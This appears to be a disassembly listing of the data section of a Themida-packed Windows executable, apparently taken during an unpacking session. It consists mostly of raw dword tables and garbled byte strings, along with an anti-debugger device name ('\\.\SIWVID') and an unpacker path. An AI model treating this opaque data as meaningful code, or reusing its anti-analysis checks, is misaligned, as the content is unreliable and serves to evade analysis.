		dd 0A6B0EA6Eh, 30EEDBF5h, 94236300h, 0F2F4A3A2h, 0ABF0C221h
		dd 94406BE0h, 4B383590h, 19896103h, 0BAF83FC5h,	8FCE042Ah
		dd 8824BFDDh, 0B100FC10h, 6A233DCCh, 128AB0A1h,	84A1147h
		dd 689F992Ch, 0E131EA1Bh, 58A8B87Eh, 6C940238h,	0D9AC633Fh
		dd 0E0356B20h, 11F06024h, 4D28A912h, 0A849FE30h, 71D3F4F3h
		dd 9D0124D5h, 6FCFC25Ch, 50968481h, 308430E2h, 0E58E748h
		dd 4408028Dh, 0D8C05197h, 0C0F22490h, 431FCD61h, 33F1A6Ch
		dd 0DED41E72h, 1DCA4C02h, 80886394h, 14ACAF5Dh,	64AE6322h
		dd 200E041Dh, 4CBA1603h, 0F0FFFED6h, 284B02EDh,	48471A2h
		dd 8118ABACh, 0C1B9031Ch, 9DB4D0E5h, 7423005Ch,	0BEE130A0h
		dd 15030578h, 0CEA2429Eh, 0AAC8016Eh, 8DD63647h, 39E980D7h
		dd 79F8DAE1h, 0A86A0B25h, 5C00D435h, 7B04735Ah,	8BCB91C6h
		dd 2EA20464h, 889F7444h, 0B1709E84h, 6B859101h,	3753D310h
		dd 225606FCh, 0C300F025h, 5188470Ch, 0C0E677D3h, 6AC05E60h
		dd 4209A792h, 1BECE86h,	0D4E57D14h, 5AC3B440h, 0ECD15404h
		dd 818F0025h, 0D3F53484h, 5500F40Bh, 4C6FE2F7h,	0C07D0431h
		dd 9AE5E7A9h, 5502BEC8h, 2DE941C7h, 6D24A04Fh, 3B7E39h
		dd 65C4577h, 0EFB76371h, 0CC26A9DFh, 173EE0Bh, 8DD5F358h
		dd 0AF062C23h, 0F9CB989Ch, 0AD1CC4F6h, 2280842Fh, 4BA0E175h
		dd 502B8E8h, 820FB6E5h,	0BFA02003h, 0ECE19312h,	0E507DCDFh
		dd 0F8AD1820h, 9AAB4D30h, 7B17547h, 786F1A8Bh, 801F8477h
		dd 42234348h, 0DFFE8500h, 0C5D72CACh, 0FB100AEh, 3C2FB870h
		dd 0D56025FCh, 622758C1h, 0C4A700AAh, 119904CCh, 6A747E2Ah
		dd 63CE5900h, 6B753625h, 12B00391h, 1B13203Ch, 0A90226E3h
		dd 52930CB2h, 0E076C01Ah, 2C589021h, 47B4A6D6h,	10A33068h
		dd 0A2179363h, 2820800Fh, 36FE381h, 9D270E8Ch, 19002F7Eh
		dd 0C0D12BC6h, 451B171h, 8899F59Bh, 5810C00Eh, 8A759864h
		dd 0A4336B24h, 9C015B1Fh, 83256F3Eh, 0FC3444FAh, 2881F87Fh
		dd 0CA69D70h, 8759772Eh, 1D76AA88h, 311BDF0Fh, 6ACAA73Ch
		dd 0DC889AC5h, 0FAC60071h, 6D12987Fh, 0D32EA995h, 0AC43ACE7h
		dd 0C9A2E0F5h, 0C70E218Dh
		dd 7BB39480h, 2DB1DE5h,	234CF548h, 2C809B63h, 9A67D4C9h
		dd 0D611F162h, 27CCCFAh, 4C1EB8AAh, 800F7804h, 3CF737D2h
		dd 48B47BE5h, 6000733Ah, 0CE116297h, 6C283BCDh,	5E48844Dh
		dd 4C785888h, 0E60280F4h, 0FA1CCE31h, 1D5B00E2h, 0C68EA3Ch
		dd 621AC2B5h, 4089EE84h, 1C4FD6FCh, 26D3CDh, 817648A2h
		dd 7F306F2Ah, 62435104h, 0EEDA06E3h, 701DACA0h,	7EFACD00h
		dd 0C558B8E4h, 81F00096h, 0B343D621h, 1B48E1AFh, 2498F4Ch
		dd 9856D19Dh, 5E7F2A4h,	0D42F3321h, 0FD0C4220h,	4BE0E646h
		dd 90A8A09Ah, 0E30072C2h, 7523C2Dh, 56701Ch, 0BC59224Ch
		dd 58ED0D02h, 390FAD1Eh, 359672C0h, 0F415477Fh,	8E6C005Eh
		dd 0B7E07CFDh, 0CF883080h, 0FDA6724Eh, 0FBBB1281h, 30564D77h
		dd 502E77Ch, 2B356A82h,	0E0D46425h, 0ACFC0023h,	5F0D81A3h
		dd 0EE1815F9h, 9D21D625h, 0C08D0088h, 9EA858C2h, 37021DADh
		dd 0C523601Fh, 70FC9125h, 0F61A5FCh, 63E8BF1Eh,	0D503E600h
		dd 1F58243Ah, 3E41031Ch, 9921D359h, 0A3DCB1F6h,	4DAF805Ah
		dd 34FF0426h, 0C3541780h, 3ABF189h, 8D429869h, 8007CDEh
		dd 72B7D6ADh, 0B059F9h,	3B6B74A3h, 9A2B7904h, 0D5009CB9h
		dd 3EE9C1F6h, 2C11F8C5h, 80CEE5h, 2AA30224h, 98A80580h
		dd 300F3E3h, 689BC939h,	60047836h, 918C89D2h, 4800D710h
		dd 0DB796FB5h, 3B44622Eh, 4F0160B2h, 9CBB5923h,	0D69930AAh
		dd 24AB6B0Ah, 358E8868h, 2E84A062h, 1CF1507h, 22765027h
		dd 83869861h, 80C61BA9h, 6CF9C8D5h, 0B7B2008Dh,	0AAF040C4h
		dd 0B6036D4Dh, 1020D2AFh, 0E6D580ADh, 9A3226D1h, 1FC342C0h
		dd 0BBE9A160h, 932E3900h, 6B9545BCh, 25460E2Ch,	98C0B19Bh
		dd 0C532DC9Ah, 645C0F24h, 44608B17h, 18F1620h, 28E58668h
		dd 2093F385h, 0E3AE784h, 290D341Bh, 13B6D4C2h, 0D478F024h
		dd 8495A701h, 18651C0Ah, 8A29444h, 951E0D00h, 7C8A137Fh
		dd 0AFDCC900h, 828E2E0Eh, 0D5DE14DBh, 7E2E6802h, 0AE8444B0h
		dd 5AEE580h, 5E2B00C7h,	1159FF9Bh, 0D8004C34h, 10688B88h
		dd 12AFC1B5h, 2003E807h, 0A0D4F920h, 10FDDF00h,	217B8724h
		dd 906C0049h, 0E0F1634Bh, 0A60694FAh, 0A5A96837h, 770330A9h
		dd 0CE6A8CE9h, 63D0478h, 7E1EF91Ah, 0D18075FFh,	81870E7Bh
		dd 0A06B03F1h, 29912F52h, 2C5973D2h, 0FFAB7D00h, 658ACCAh
		dd 2748863Ch, 9F0093BAh, 0DB591A8Eh, 4C67D23Dh,	50C49CA1h
		dd 7354409Dh, 91F7BF02h, 0FCFE80C4h, 8BB17755h,	5EE6503h
		dd 9972BE07h, 0D833973Dh, 91319300h, 0BD0DC530h, 0F0F59812h
		dd 0BC338C20h, 324D0765h, 0BF9F92AAh, 55D18D83h, 7CB9212Eh
		dd 6F1B2882h, 6EC2875h,	118603EDh, 9426DD01h, 4A306F47h
		dd 724D34F8h, 0B8DA01A7h, 0D43DBDB5h, 6299D405h, 0B0C059DDh
		dd 38C62576h, 9A770056h, 79EA075Fh, 0FE00F9ADh,	493A5DC4h
		dd 1D68C6Eh, 0CE1BBDCBh, 72AF6797h, 4134504Ch, 13C648h
		dd 83EA9569h, 4EAA28B4h, 0BB5C419Ah, 0DCE2F51Fh, 8F1D71FAh
		dd 3B0A5E0Dh, 0D460A419h, 1735C27Dh, 8C4FFEh, 5A6B215h
		dd 84EDECDh, 0D4366800h, 0DE9E9F8Ah, 0A2BA8059h, 0C39BE4F3h
		dd 0FD30F900h, 0ADAE8D8Bh, 0AC660A0Bh, 494F20Ah, 889AA9F6h
		dd 8C0089F0h, 76B7D7BAh, 1E5771A5h, 0C10BB9DFh,	5FB53EDDh
		dd 0C416714Ch, 0DC30B0ACh, 9255F918h, 6B5D0B7Eh, 30048C5Fh
		dd 0FCAB4037h, 90E703D3h, 429439B4h, 3836AD19h,	1B0C383h
		dd 98B8D65Fh, 0E8F886FEh, 2F02C0B9h, 0E8C94960h, 7BA9D35Ch
		dd 20940C67h, 0F9611A81h, 6187EE04h, 40803384h,	13CF52ABh
		dd 0C8557FB3h, 0EEEEDB78h, 19009D79h, 1D22420Eh, 0FC7383A2h
		dd 3C215CA7h, 0D618DD22h, 0B539D954h, 6CB124ACh, 678A05C0h
		dd 0D263C0C9h, 8F3BA3F5h, 0DE24980Fh, 5A0FB39h,	6703DD02h
		dd 3ACC0D6Fh, 0B0A9D06Ch, 0BE861B18h, 96F108C0h, 0BFE98088h
		dd 0AEEEB331h, 36431007h, 81959FDFh, 3E58C4C8h,	0A29FA3E6h
		dd 64448338h, 0B02269C6h, 0AC98DCh, 21098B85h, 0F295AD12h
		dd 2479913Bh, 0BA40689Ah, 7E5AE4h, 5E503898h, 52CB8D2Fh
		dd 696025FEh, 36A86B49h, 90A60038h, 0AC3F50BDh,	4F0079EFh
		dd 0F23C44D7h, 0D637B4h, 95AE7E7Ah, 6B1BD207h, 25B1C8F3h
		dd 0B1606845h, 0AE9B1DE5h, 2AED0041h, 0CC6F6396h, 0CA0E44B8h
		dd 80578271h, 70868102h, 0A8014CD6h, 82241B0h, 0C7001AE8h
		dd 0E1515CDCh, 7C544C04h, 2CA0E03Fh, 608C4AFDh,	0A4C1B420h
		dd 0D3074C01h, 9771D090h, 1ED41070h, 80BC55ACh,	0D676C7EDh
		dd 71C0CFA6h, 0B93B7F19h, 27224B49h, 0F3DA60E4h, 0A0011DDh
		dd 3AFCF1E4h, 47B134h, 20DAFFAh, 0FBD5A28Ch, 78811C94h
		dd 0BD5680EAh, 4D1DD82Ch, 0C5A5002Fh, 0FB2820C9h, 5003AD24h
		dd 4FA3013Ah, 1C382459h, 95D9DAD1h, 72CA2AF9h, 0FE0A00F8h
		dd 8AE0F7DEh, 3302B1D3h, 30ED6CB5h, 0D838437Fh,	0E8E9318h
		dd 824D3920h, 0ED500092h, 15C655CCh, 0A4EFC93Ah, 0D120F88Ch
		dd 0D9B8FE35h, 2EABA400h, 300BC9B2h, 35B03913h,	0D60A4773h
		dd 0C42BB7F5h, 0F2002991h, 9505FA2Fh, 0F89999D3h, 69708C00h
		dd 6E6733h, 30714B7Bh, 5F62360Ah, 0E49048D3h, 1C9506Bh
		dd 9ADFAF2h, 205D5285h,	4A189618h, 8B99D404h, 3FB700BFh
		dd 0E9B085C6h, 0D11EA791h, 502469C8h, 664E6Fh, 9F1CAECAh
		dd 7B33005Eh, 13719A61h, 0BC090E21h, 0C44C1874h, 93870080h
		dd 7DE41475h, 0A7097C9Dh, 2FF3A8Fh, 11DCB6F8h, 367C40A6h
		dd 6800DD88h, 5658EAB8h, 1CAD765Ch, 947EFA0Fh, 281DE406h
		dd 186066BBh, 5394D890h, 0B695D700h, 0D64EC2F4h, 0BC2CF17Eh
		dd 44989889h, 8C076385h, 31246B6Ch, 0BA763C70h,	961D05B2h
		dd 3889FECh, 89B62D1Ch,	2BA7CDB8h, 8A4B4F00h, 49D4CB19h
		dd 7C6F0031h, 0AE9AB494h, 482E7EBBh, 8A416024h,	9260EF35h
		dd 0F1E51CD0h, 4688051h, 0A1866FAEh, 900252h, 0F677B209h
		dd 0B1B72126h, 0DFFE8398h, 0D8E88BD9h, 0E002068h, 30586A7Ah
		dd 0E9D4BA84h, 2341E8C3h, 58B27D10h, 6F190420h,	0D9D34180h
		dd 663860F2h, 986C4D00h, 0CFCD781Eh, 2C1D497Dh,	64E1ED00h
		dd 0B807CB4Bh, 80C9213Dh, 0F5D3D4Fh, 0D33625h, 0C435E3A1h
		dd 0B0696E5Bh, 94E1416Ah, 71340D60h, 21BE0072h,	12EBD37h
		dd 0F87BD50Bh, 0AFE78701h, 94CEEAF9h, 0B050DB30h, 0D5CA0878h
		dd 0FB809C53h, 679D837Fh, 2B99C0B8h, 89DC2FD7h,	7DDD090Ch
		dd 1E1928h, 0B5A9ED7Ch,	25E46E02h, 62FFFB00h, 169513F2h
		dd 0D2480033h, 8D7D12A7h, 8DE4A23h, 7F2C90ADh, 0B8909Ch
		dd 0A70D4E5h, 7E652330h, 8D100E00h, 6EC5CE56h, 977604A4h
		dd 0F4034CA0h, 0D026BB90h, 7F143E54h, 0B55E0048h, 0B0234F41h
		dd 0BD8C00ADh, 8D438ED1h, 402177Bh, 1D975947h, 0B427415Eh
		dd 28B824E0h, 9C90C038h, 0AFFB800Ch, 337DA79Dh,	0C2CC9616h
		dd 0B84B888h, 60165936h, 0D400A064h, 554DAE2Eh,	38F6305h
		dd 0CAE21052h, 0A78AD5F3h, 682D1472h, 84E428A9h, 5A1B9904h
		dd 80DE1089h, 549E7614h, 0A6D5003Bh, 9196A794h,	8B82016h
		dd 0A9AD6C05h, 0A8007CE1h, 8C01BEAEh, 0F074FF30h, 0B8D32002h
		dd 0D00D09Ch, 3EEC408Dh, 0FD080280h, 84024551h,	0D20EFCD0h
		dd 4EC74A5Fh, 37F2D6h, 80BECB30h, 4AB18822h, 0C6E13E0Bh
		dd 0D45807C1h, 60F9B7E2h, 0FEA08CE0h, 0CFCC046Bh, 0C1A78FB9h
		dd 21D19714h, 6505F8A3h
		dd 0AA431F13h, 84B00C02h, 0AB146149h, 0D12030h,	0B6EBF9EEh
		dd 752358F5h, 66562913h, 0F481811h, 2809E195h, 3ADA8027h
		dd 5B0B20Ah, 360454C7h,	490FC0A0h, 201F46Ah, 7FFA87E5h
		dd 0B046DF6Bh, 5438034Fh, 79520219h, 49AD95F3h,	0D4A0B8D9h
		dd 65748E7Bh, 60F9E61Ch, 7CC54800h, 2476A842h, 4E04F0D4h
		dd 0FA1C5584h, 2610BD87h, 27837D92h, 308297B7h,	0DCF9DB6Fh
		dd 0DEBAC307h, 5B41BFB0h, 9E9F22B2h, 6936901h, 881ED886h
		dd 526675F4h, 0FFFF01CCh, 60FBh, 0E9000000h, 3518h, 0
		dd 0B4h, 5 dup(0)
		dd 28D4B0F1h, 3	dup(0)
		dd 400000h, 0Bh	dup(0)
		dd 1BC5428h, 1Bh dup(0)
		dd offset dword_5C93A4
		align 10h
		dd offset word_5C5106
		dd 2 dup(0)
		dd 12D392h, 3 dup(0)
		dd 0CEh, 7C90EBBFh, 0
		dd offset a_Siwvid	; "\\\\.\\SIWVID"
		align 10h
aFir		db 'ӑ|',0
		align 4
		dd 8 dup(0)
		db '""""""""',0
		align 4
		dd 6 dup(0)
		dd 8Bh,	2 dup(0)
		dd 76F21290h, 6	dup(0)
		dd offset byte_5B4769
		dd 0
aFiudl		db '”ëuD‹',0
		align 4
		dd 0Ah dup(0)
aF_0		db '$µ]f',0
		align 4
aOu		db '{Žã*',0
		align 4
		dd 0Bh dup(0)
		dd 400000h, 7C254779h, 4 dup(0)
		dd 0E2F7h, 7C90EB94h, 0E35189D4h, 2 dup(0)
		dd offset word_5C631E
		dd 2 dup(0)
		dd 208000h, 6777h, 0
aFir_0		db 'ӑ|',0
		align 4
		dd 4 dup(0)
		dd 0FFA46211h, 7 dup(0)
		dd 836F146Ch, 0
		dd 3518h, 3 dup(0)
		dd 7Ch,	0
		dd offset byte_5C59C9
		dd 3 dup(0)
		dd offset byte_5F156D
		dd 0F9689CE2h, 2 dup(0)
		dd 0A0h, 0
		dd 7C90EE18h, 2	dup(0)
		dd 0C09417h, 5B3644h, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFED2C6Eh, 0
aFir8		db '”ë|Ë8]',0
		dd offset byte_5B08A7
		dd 0
		dd offset word_5EEC06
		dd 0
aFir_1		db 'ӑ|',0
		align 4
		dd 2 dup(0)
aIqu		db 'Ô‰Qã',0
		align 10h
aFir_2		db 'ӑ|',0
		align 4
		unicode	0, <³>,0
		align 10h
		dd offset word_5E837E
		dd 4 dup(0)
aCiW		db 'çëÝw',0
		align 4
		dd 5 dup(0)
		dd 0C0180Fh, 0
		dd 7C85A016h, 2A000h, 5DB4h, 5B4559h, 6	dup(0)
		dd 1CBFFB0h, 0
aB_0		db 9,'*|',0
		align 10h
		dd 0
		dd 0FFC00000h, 4 dup(0)
		dd offset byte_5A9CF7
		dd 2 dup(0)
		dd offset byte_5FCAA1
		dd 2850000h, 2746DD4h, 7 dup(0)
		dd 1, 0EA026DCFh, 3 dup(0)
		dd offset dword_5CB544
		dd 0Dh dup(0)
		dd 0C31CF7h, 0
		dd 4633h, 0Fh dup(0)
		dd 0C0AAA1h, 981062h, 0B960694Eh, 0C38B0Dh, 2 dup(0)
		dd 105C28h, 0
		dd 400000h, 0
		dd offset dword_57CA50
		align 10h
		dd 7C814AF2h, 0FE2940F3h, 0
		dd 18B9547Ch, 2	dup(0)
aFirPy		db 'ӑ|PY',0
		align 10h
		dd 3 dup(0)
		dd 0FFA15E9Ah, 1AA7D75Dh, 2CDF26ECh, 12h dup(0)
		dd 6A20h, 6 dup(0)
		dd 0E8Ch, 5 dup(0)
		dd 7C80180Eh, 12FEC8h, 5 dup(0)
		dd offset byte_5D0F8D
		dd offset byte_5B30AB
		align 10h
		dd 56Dh, 90h, 0CCh, 0
		dd 129AC09h, 0
		dd 12CC0192h, 2	dup(0)
aX?j		db 'X?†|',0
		align 4
		dd 3 dup(0)
		dd offset word_5B5CDE
		dd 4 dup(0)
		dd 28E3h, 1Ch dup(0)
		dd 0C08EE4h, 3 dup(0)
		dd 0FFFF9730h, 0
aD		db 'Å·{¤',0
		align 10h
aZuW		db 'ZîÝw',0
		align 4
		dd 3 dup(0)
		dd 110000h, 4 dup(0)
		dd offset dword_57A6BC
		dd 129AC09h, 0C38B0Dh, 0FFFFA4B8h, 57C1CCh, 7 dup(0)
		dd offset word_5DB6AE
		dd 2 dup(0)
		dd 0D3F9FCh, 0FFA4C9BCh, 0
		dd offset dword_5D1204
		dd offset byte_5CA37F
		align 10h
		dd 8312D562h, 2	dup(0)
		dd offset dword_57B29C
		dd 2 dup(0)
		dd 5A2F1A42h, 7	dup(0)
		dd 0C61E69h, 27C00FFh, 3 dup(0)
		dd offset byte_5CE3FB
aXaW		db 'åíÝw',0
		align 4
		dd 0
		dd 144AD8h, 5 dup(0)
aFir_3		db 'ӑ|',0
		align 4
		dd 7 dup(0)
		dd 7E410000h, 2	dup(0)
		dd 1, 0
aWUteey		db 'wÃ',0Bh,'ute…Y',0
		align 4
		dd 9 dup(0)
		dd 6Ch,	0
		dd 7C801D77h, 57B7C0h, 4 dup(0)
aUKv		db 'ž]kv',0
		align 4
		dd 4 dup(0)
aIaps		db 'IAPS',0
		align 4
		dd 5 dup(0)
		dd 0E984BAF1h, 0
		dd offset dword_5EEC7C
		dd 3 dup(0)
		dd 89ACh, 0Eh dup(0)
		dd 0C4h, 5EEA73h, 2 dup(0)
a5D		db '5¾d',0Dh,'ì&ß,',0
		align 10h
		dd 4 dup(0)
		dd 7FFFFFFFh, 2	dup(0)
		dd 7D1h, 2 dup(0)
		dd 0C0FA03h, 0C01920h, 30DFh, 0
		dd 6A0652EFh, 9	dup(0)
		dd 1, 6	dup(0)
		dd 23E4h, 6 dup(0)
		dd offset dword_5FC7A8
		dd 3 dup(0)
		dd 836F146Ch, 2	dup(0)
		dd 660188FBh, 7	dup(0)
		dd offset dword_57C208
		dd 4 dup(0)
		dd 2Ch,	0C00A25h, 836F146Ch, 2 dup(0)
aDF		db 'DÚFÂ',0
		align 4
		dd 2 dup(0)
		dd offset unk_511000
		dd 76341647h, 0FF3F05FDh, 8 dup(0)
aFir_4		db 'ӑ|',0
		align 10h
		dd 8 dup(0)
		dd 0C01A3Ch, 9 dup(0)
		dd 1, 0
		dd 76B40000h, 0
		dd 0C12493h, 400579FDh,	7C90EB94h, 0Ah dup(0)
		dd 370h, 5FC7A8h, 8 dup(0)
aAah		db '|í€h',0
		align 10h
		dd offset word_5F0A82
		align 8
		dd 0E5DEE59h, 0
		dd 113000BAh, 0
		dd 9DEFh, 0
a_eb		db '$.¥',0
		align 10h
		dd 341682F4h, 2	dup(0)
a8jmm		db '8JMM',0
		align 4
		dd 2Ah dup(0)
aFir_5		db 'ӑ|',0
		align 4
		dd 12E8h, 6 dup(0)
		dd 0FFFE946Ch, 2870000h, 7DC1h,	2 dup(0)
aGss7		db '·Æ£sé7',0
		align 4
		dd 0Ah dup(0)
		dd 0E3230388h, 2 dup(0)
		dd 99B1h, 5 dup(0)
		dd offset word_6020CA
		dd 6 dup(0)
		dd offset dword_5B3644
		dd 5 dup(0)
		dd offset dword_5CFB64
		dd 0C0180Fh, 6C8h, 2 dup(0)
aZGd		db '‡(ƒ„',0
		align 4
		dd 0
aNnU		db '|î',0
		align 4
		dd 110B5Fh, 0
		dd offset byte_5B0023
		dd 7 dup(0)
dword_57A6BC	dd 0							; Themida_:0057C27Co
		dd 129AC09h, 0Ch dup(0)
aFir_6		db 'ӑ|',0
		align 4
		dd 6 dup(0)
		dd 0B086h, 3 dup(0)
		dd 1610Ch, 6 dup(0)
		dd 1CBFFB0h, 14h dup(0)
		dd 0ED33FE6Eh, 0
		dd offset byte_5D3167
		dd offset byte_5B2328
		dd offset byte_5B0023
		dd 0
		dd offset byte_57D567
		dd 0FFFF6617h, 0C32878h, 0
aGa		db '"G€|',0
		align 4
aEo		db '¥Ž',0
		align 4
		dd offset dword_57CA50
		dd 4 dup(0)
		dd 7C90DDF9h, 6	dup(0)
		dd offset word_5BED76
aGia		db 'G›€|',0
		align 4
		dd 0C0180Fh, 3 dup(0)
		dd 0FFFFFF00h, 0D90000h, 3 dup(0)
		dd 146Ch, 3 dup(0)
		dd 123644h, 0C0AEA1h, 12863D1Ch, 2 dup(0)
aAna		db ' ­€|',0
		align 4
		dd 5 dup(0)
		dd offset byte_5B4711
a0I		db 'ß0Å©',0             ; DATA XREF: Themida_:0057C25Co
unk_57A871	db    0			; DATA XREF: Themida_:0057C278o
		db    0
		db    0
		dd 65h dup(0)
		dd 12FE80h, 0Dh	dup(0)
		dd offset dword_57C1CC
		dd 7C900000h, 0
		dd 12FEC8h, 8 dup(0)
		dd 41B44B2Bh, 0DE7F7DA1h, 0
a0I_0		db 'ß0Å©',0
		align 4
		dd offset dword_5E68BC
		dd 0
		dd 180Fh, 57CA50h, 4 dup(0)
		dd 561485Dh, 5B427B15h,	7C90EB94h, 3 dup(0)
aM		db ']m&[',0
		align 8
		db '>',0
		dw 7C80h
		dd offset word_5C631E
		dd 2 dup(0)
		dd 0DB57h, 7 dup(0)
aFfG		db '”FÒ£',0
		align 10h
		dd 3 dup(0)
		dd offset byte_5B89BB
		dd 0C38B32h, 3 dup(0)
		dd 98h,	5BFDFFh, 0C00E24h, 5C41A9h, 5AD3BEh, 8 dup(0)
		dd 836F11E8h, 280h, 6 dup(0)
		dd offset byte_57D567
aFir_7		db 'ӑ|',0
		align 10h
		dd 4 dup(0)
		dd offset word_5D312E
		dd 0FFFFA4B4h, 1D25CD95h, 0Ch dup(0)
		dd offset byte_401000
		dd 3 dup(0)
		dd 4F5248FEh, 0
aDm		db ' Ó„M',0
		align 4
		dd 0Fh dup(0)
dword_57AC28	dd 7C900023h, 0B8h, 74C00B00h, 18C203h,	0C24448Bh, 0E853h
					; DATA XREF: Themida_:0057C0A8o
		dd 815B0000h, 17C3h, 245C8900h,	24448910h, 37B85B14h, 0FF00C0FAh
		dd 24448BE0h, 0E0FF04h,	13h dup(0)
aGxW		db 'ƒxÝw',0
		align 10h
		dd offset word_5DF622
		dd 27h,	0FFA14313h, 3 dup(0)
		dd 1000h, 5EFE3Fh, 9 dup(0)
		dd 0CE8h, 6 dup(0)
		dd 660188FBh, 6	dup(0)
		dd 0D4h, 9 dup(0)
		dd 2156F4E7h, 2	dup(0)
		dd offset byte_5BFC03
		dd 5 dup(0)
		dd 0C97245h, 5 dup(0)
a_dlI		db '_¤l,ϨÀ',0
		dd offset byte_5B2328
		dd 5 dup(0)
		dd 6DE28D8h, 6D656854h,	616469h, 1Eh dup(0)
		dd offset dword_5CA6E4
		dd 5 dup(0)
		dd 89E15C98h, 0FFA355F1h, 6 dup(0)
		dd 0B6A61Eh, 0
		dd 0C08B28h, 5C7171h, 15h dup(0)
		dd 675DD1FEh, 0
		dd offset byte_5B6219
		dd 6 dup(0)
		db 'ì&ß,',0
		align 4
		dd 5 dup(0)
		dd 7C90EB94h, 1, 8 dup(0)
		dd 0C08E51h, 0FFFFFB04h, 5 dup(0)
		dd 19h,	6 dup(0)
		dd 0FFFFBFFFh, 30DFh, 4	dup(0)
		dd 0DBC51B0h, 1, 24242424h, 1Ah	dup(0)
		dd 0D2AB3FFAh, 0
		dd 186B6411h, 3	dup(0)
		dd 1, 23h, 0
		dd 12FFE0h, 5C5EDDh, 0
		dd 3EFCh, 3 dup(0)
		dd offset word_5E156A
		dd 0Ch dup(0)
		dd 4918ED0h, 0
		dd 7FDD3FFCh, 0D3D4E0A3h, 2 dup(0)
		dd 56006A60h, 2	dup(0)
		dd 0FFFFFF24h, 34E20C84h, 2 dup(0)
		dd 7C800000h, 0
		dd 58D8h, 665DB524h, 12CC0192h,	0Ah dup(0)
		dd 0CECAA31Ch, 5E8D52h,	0
		dd offset byte_5ED535
		dd 3 dup(0)
		dd 7C8111DAh, 0Dh dup(0)
		dd 692041Bh, 0
		dd 557h, 2 dup(0)
		dd 1DBFFB0h, 5FB538h, 7	dup(0)
		dd offset byte_5B2585
		dd 4 dup(0)
aWB0I		db 'w',0Ah
		db '|ß0Å©',0
		align 4
		dd 6 dup(0)
aFir_8		db 'ӑ|',0
		align 2
aWva		db 'Ýwví[',0
aF_1:
		unicode	0, <ä>,0
		align 8
		dd 836FFFDDh, 665DB524h, 7 dup(0)
aM_0		db '\m&[',0
		align 4
		dd 2 dup(0)
		dd 0E3503DFFh, 0
		dd offset byte_5BCFA1
		dd 26C0000h, 5 dup(0)
aSZ		db '/éÂÇÒÑ',0
		align 10h
		dd 7FFFFFFFh, 5	dup(0)
		dd 77DD6BF0h, 0
		dd 7CDFFFF6h, 0C08D20h,	0
a0I_1		db 'ß0Å©',0
		align 4
		dd 0Eh dup(0)
dword_57B29C	dd 0C02918h, 3 dup(0)		dd 0C0180Fh, 2 dup(0)
aRR		db '*|',0
		align 10h
		dd 79121C99h, 0E698FE36h, 0
		dd 80F5E9Dh, 76B44E5Bh,	5EEC7Ch, 0
		dd 692041Bh, 0
		dd 3DFD8D8Dh, 3	dup(0)
		dd 0E8h, 4 dup(0)
		dd 0FE340050h, 31E9h, 5AD14Bh, 945FFE4Bh, 0
		dd 12FEBCh, 8 dup(0)
		dd 0E72D2D16h, 0Ch dup(0)
		dd 0FF3F05FDh, 0
		dd 26C002Ch, 9 dup(0)
aRestartapp_exe	db 'RestartApp.exe',0
		align 4
		dd 2 dup(0)
		dd 76F36C5Bh, 5	dup(0)
		dd offset dword_57DA5C
		dd 0
		dd offset byte_5E9F97
		dd 5 dup(0)
		dd 129AC09h, 3 dup(0)
		dd 129AC09h, 6 dup(0)
aIqu_0		db 'Ô‰Qã',0
		align 4
		dd 32597F5Dh, 2	dup(0)
		dd offset dword_5B3644
		align 10h
		dd 0FB892B50h, 4 dup(0)
		dd offset dword_5B20D4
		dd 0
		dd offset dword_5D919C
		dd 0
		dd 270C9F4h, 0
		db '{×ÉÓ',0
		align 8
		dd 12FF54h, 2 dup(0)
		dd 30DFh, 0
		dd 11111111h, 0
		dd offset dword_5B8B74
		dd 0
		dd 12FEC8h, 8Ah	dup(0)
		dd 0A280105h, 0
		dd 2AC0000h, 0
		dd 2840000h, 0
aDhPd6		db '„h½¯D6[',0
		dd 0
		dd 1, 10h dup(0)
		dd offset dword_5C93A4
		align 8
		dd 12FFA4h, 981062h, 5B5A0Fh, 21212121h, 3 dup(0)
		dd 0FFA4A618h, 2 dup(0)
		dd offset word_5AD40E
		dd 4 dup(0)
		dd 84h,	0
		dd 0C0B508h, 0
		dd offset byte_5D6C3B
		dd 5 dup(0)
		dd 3EFCh, 7C917F9Fh, 0
		dd 5, 2	dup(0)
		dd 51F6F940h, 0
		dd offset dword_5C1E18
		dd 0
		dd 129AC09h, 0FFED0184h, 981062h, 3 dup(0)
		dd 1, 2850000h,	0Ah dup(0)
		dd 1DBFFB0h, 4 dup(0)
		dd 0FFFFA060h, 0
		dd 0C631E5h, 6EBAF7F4h,	1, 0C0FA03h, 17h dup(0)
		dd 3E9BDA02h, 0
		dd 836F146Ch, 0
		dd 4, 0
		dd 0F3E6AA48h, 5 dup(0)
aCM_unpacker	db 'C:\m_unpacker',0
		align 4
		dd 80h dup(0)
		dd 7D5103A3h, 4	dup(0)
aF_2		db '$µ]f',0
		align 10h
		dd 0
		dd 3D94h, 0
		dd offset byte_5B2329
		dd 0
		dd 4001F0h, 0Ah	dup(0)
		dd 7C800000h, 0Fh dup(0)
		dd 0C0180Fh, 5 dup(0)
		dd 0D00000h, 7 dup(0)
		dd 12FFE0h, 0Ah	dup(0)
aXfso		db 'Xä‘®',0
		align 4
		dd 3 dup(0)
aTyuj		db 'tYU†',0
		align 10h
		dd 5 dup(0)
		dd offset byte_5CC3B9
		dd 0C01A44h, 0
aFir_9		db 'ӑ|',0
		align 4
		dd 0Bh dup(0)
		dd 0C0180Fh, 7C90EB94h,	77DFC41Bh, 5 dup(0)
		dd offset dword_4E6ECC+1A868h
		dd 4 dup(0)
		dd offset dword_57C1CC
		align 10h
		dd 30001h, 0
		dd 713Ah, 0Bh dup(0)
		dd 76F21790h, 7	dup(0)
		dd offset word_5E6372
		dd 5 dup(0)
aFir_10		db 'ӑ|',0
		align 4
		dd 4 dup(0)
		dd offset dword_5EA07C
		dd 2 dup(0)
		dd 0C0180Fh, 3 dup(0)
		dd 0AA00h, 0Dh dup(0)
		dd 0FDBFB230h, 0
		dd 0FFFFC600h, 0ACh, 4 dup(0)
		dd 8B32h, 5BA433h, 0Fh dup(0)
aGxW_0		db 'ƒxÝw',0
		align 4
		dd 12h dup(0)
		dd 0A4h, 1Ah dup(0)
		dd 20513D02h, 0
		dd 0C63F0Fh, 5EEA6Dh, 3	dup(0)
		dd 0CC2h, 7 dup(0)
		dd 5E8h, 5AD165h, 0FFFFFF70h, 0
		dd 18EA9DEFh, 0
aGa_0		db '"G€|',0
		align 4
		dd 0
a6666		db '6666',0
		align 4
		dd 5 dup(0)
		dd 0C08E51h, 2746DD4h, 10h dup(0)
		dd 836FFFDDh, 2	dup(0)
		dd 0FE240050h, 8 dup(0)
